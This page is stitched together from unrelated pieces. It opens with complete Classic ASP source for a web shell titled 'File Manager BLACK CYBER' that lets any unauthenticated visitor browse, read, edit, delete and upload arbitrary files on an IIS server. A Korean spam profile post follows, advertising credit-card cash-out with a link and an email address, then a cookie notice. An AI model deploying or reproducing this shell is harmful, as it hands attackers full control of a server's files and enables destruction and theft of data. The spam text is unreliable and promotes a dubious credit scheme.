<%@ Language="VBScript" %> <% ' ============================================================ ' File Manager BLACK CYBER - Classic ASP (ANSI version) ' CARA SIMPAN: File > Save As -> Encoding: ANSI (BUKAN UTF-8) ' Syarat: IIS + fitur Classic ASP aktif ' ============================================================ On Error Resume Next Dim fso, path, isUpload Set fso = Server.CreateObject("Scripting.FileSystemObject") ' ----- Tentukan path aktif ----- path = Request.QueryString("path") If path = "" Then path = Server.MapPath(".") If Not fso.FolderExists(path) Then path = Server.MapPath(".") path = fso.GetAbsolutePathName(path) ' ----- Upload diproses PALING AWAL (Request.BinaryRead) ----- isUpload = False If Request.ServerVariables("REQUEST_METHOD") = "POST" And Request.TotalBytes > 0 Then If InStr(1, Request.ServerVariables("CONTENT_TYPE"), "multipart/form-data", 1) > 0 Then isUpload = True DoUpload path, fso End If End If ' ----- Aksi POST (lewati saat request upload) ----- If Not isUpload Then If Request("savefile") <> "" Then DoSaveFile Request("savefile"), Request("filecontent"), fso If Request("createfolder") <> "" Then DoCreateFolder path, Request("newfolder"), fso If Request("createfile") <> "" Then DoCreateFile path, Request("newfile"), fso End If ' ----- Aksi GET ----- If Request.QueryString("delete") <> "" Then DoDelete path, Request.QueryString("delete"), fso %> File Manager BLACK CYBER
BLACK CYBER
<% Dim objFolder Set objFolder = fso.GetFolder(path) If Err.Number <> 0 Then Response.Write "ERROR - Tidak dapat mengakses: " & Server.HtmlEncode(path) & " (" & Err.Description & ")
" Response.End() End If %>

Path: <%= Server.HtmlEncode(path) %>

<% Dim parentPath parentPath = fso.GetParentFolderName(path) If parentPath <> "" Then %> [UP] Naik satu level

<% End If %>

FOLDERS

FILES

UPLOAD FILE

BUAT FOLDER

BUAT FILE

<% Dim editPath, ts, content editPath = Request.QueryString("edit") If editPath <> "" And fso.FileExists(editPath) Then Set ts = fso.OpenTextFile(editPath, 1, False, -2) content = ts.ReadAll ts.Close Set ts = Nothing If Err.Number = 0 Then %>

EDITING: <%= Server.HtmlEncode(fso.GetFileName(editPath)) %>


<% Else Response.Write "ERROR - Read Error: " & Server.HtmlEncode(Err.Description) & "
" End If End If %> <% If Err.Number <> 0 Then Response.Write "

TOP-LEVEL ERROR [" & Err.Number & "]: " & Server.HtmlEncode(Err.Description) & "

" End If %> <% ' ============================================================ ' Subrutin ' ============================================================ Sub DoDelete(basePath, name, fsoObj) Dim target target = fsoObj.BuildPath(basePath, name) On Error Resume Next If fsoObj.FileExists(target) Then fsoObj.DeleteFile target, True ElseIf fsoObj.FolderExists(target) Then fsoObj.DeleteFolder target, True End If If Err.Number = 0 Then Response.Write "OK - Deleted: " & Server.HtmlEncode(name) & "
" Else Response.Write "ERROR - Delete Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoSaveFile(target, content, fsoObj) On Error Resume Next Dim ts Set ts = fsoObj.CreateTextFile(target, True, False) ts.Write content ts.Close Set ts = Nothing If Err.Number = 0 Then Response.Write "OK - Saved: " & Server.HtmlEncode(fsoObj.GetFileName(target)) & "
" Else Response.Write "ERROR - Save Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoCreateFolder(basePath, name, fsoObj) If name = "" Then Exit Sub On Error Resume Next fsoObj.CreateFolder fsoObj.BuildPath(basePath, name) If Err.Number = 0 Then Response.Write "OK - Folder dibuat: " & Server.HtmlEncode(name) & "
" Else Response.Write "ERROR - Folder Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoCreateFile(basePath, name, fsoObj) If name = "" Then Exit Sub Dim target target = fsoObj.BuildPath(basePath, name) If fsoObj.FileExists(target) Then Response.Write "Warning - File sudah ada: " & Server.HtmlEncode(name) & "
" Exit Sub End If On Error Resume Next Dim ts Set ts = fsoObj.CreateTextFile(target, True, False) ts.Close Set ts = Nothing If Err.Number = 0 Then Response.Write "OK - File dibuat: " & Server.HtmlEncode(name) & "
" Else Response.Write "ERROR - File Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoUpload(basePath, fsoObj) On Error Resume Next Dim totalBytes, cType, boundary, bData, strData, fnPos, fnStart, fnEnd Dim fileName, headerEnd, dataStart, dataEnd, closeMarker, fileBytes, stream totalBytes = Request.TotalBytes If totalBytes <= 0 Then Exit Sub cType = Request.ServerVariables("CONTENT_TYPE") boundary = Mid(cType, InStr(1, cType, "boundary=", 1) + 9) boundary = Replace(boundary, """", "") boundary = "--" & boundary bData = Request.BinaryRead(totalBytes) strData = BytesToStr(bData) fnPos = InStr(1, strData, "filename=""", 1) If fnPos > 0 Then fnStart = fnPos + 10 fnEnd = InStr(fnStart, strData, """", 1) - 1 If fnEnd >= fnStart Then fileName = Mid(strData, fnStart, fnEnd - fnStart + 1) fileName = fsoObj.GetFileName(fileName) headerEnd = InStr(fnEnd, strData, vbCrLf & vbCrLf, 1) + 4 dataStart = headerEnd closeMarker = vbCrLf & boundary & "--" dataEnd = InStr(dataStart, strData, closeMarker, 1) - 1 If dataEnd < dataStart Then closeMarker = vbCrLf & boundary dataEnd = InStr(dataStart, strData, closeMarker, 1) - 1 End If If dataEnd >= dataStart And fileName <> "" Then fileBytes = StrToBytes(Mid(strData, dataStart, dataEnd - dataStart + 1)) Set stream = Server.CreateObject("ADODB.Stream") stream.Type = 1 stream.Open stream.Write fileBytes stream.SaveToFile fsoObj.BuildPath(basePath, fileName), 2 stream.Close Set stream = Nothing If Err.Number = 0 Then Response.Write "OK - Uploaded: " & Server.HtmlEncode(fileName) & "
" Else Response.Write "ERROR - Upload Error: " & Server.HtmlEncode(Err.Description) & "
" End If End If End If End If On Error GoTo 0 End Sub Function BytesToStr(bytes) Dim s Set s = Server.CreateObject("ADODB.Stream") s.Type = 1 s.Open s.Write bytes s.Position = 0 s.Type = 2 s.Charset = "iso-8859-1" BytesToStr = s.ReadText s.Close Set s = Nothing End Function Function StrToBytes(str) Dim s Set s = Server.CreateObject("ADODB.Stream") s.Type = 2 s.Charset = "iso-8859-1" s.Open s.WriteText str s.Position = 0 s.Type = 1 StrToBytes = s.Read s.Close Set s = Nothing End Function %>
visitlagrande1

visitlagrande1

 22 days ago

The ""페이저장소"" 살다 보면 누구나 갑작스럽게 목돈이 필요한 순간이 찾아옵니다. 병원비가 급하게 필요하거나, 경조사비가 모자라거나, 혹은 사업 자금이 일시적으로 막혔을 때 당장 수중에 현금은 없고 은행 대출을 받기엔 시간이 너무 오래 걸리거나 조건이 까다로워서 막막했던 경험, 한 번쯤 있으실 텐데요. 이럴 때 간편하게 신용카드를 활용해 급전을 마련하는 방법이 바로 ‘신용카드현금화’ 또는 ‘카드테크’라고 말합니다. Keyword: 신용카드현금화 신용카드현금 현금화방법 카 드현금화 페이저장소 Website: https://visitlagrande.com/

Member since Aug 19, 2026 ritum7133@gmail.com

Following (0)

Followers (0)

Situs ini menggunakan cookie. Dengan melanjutkan penjelajahan situs, Anda menyetujui penggunaan cookie kami. Pelajari lebih lanjut di sini.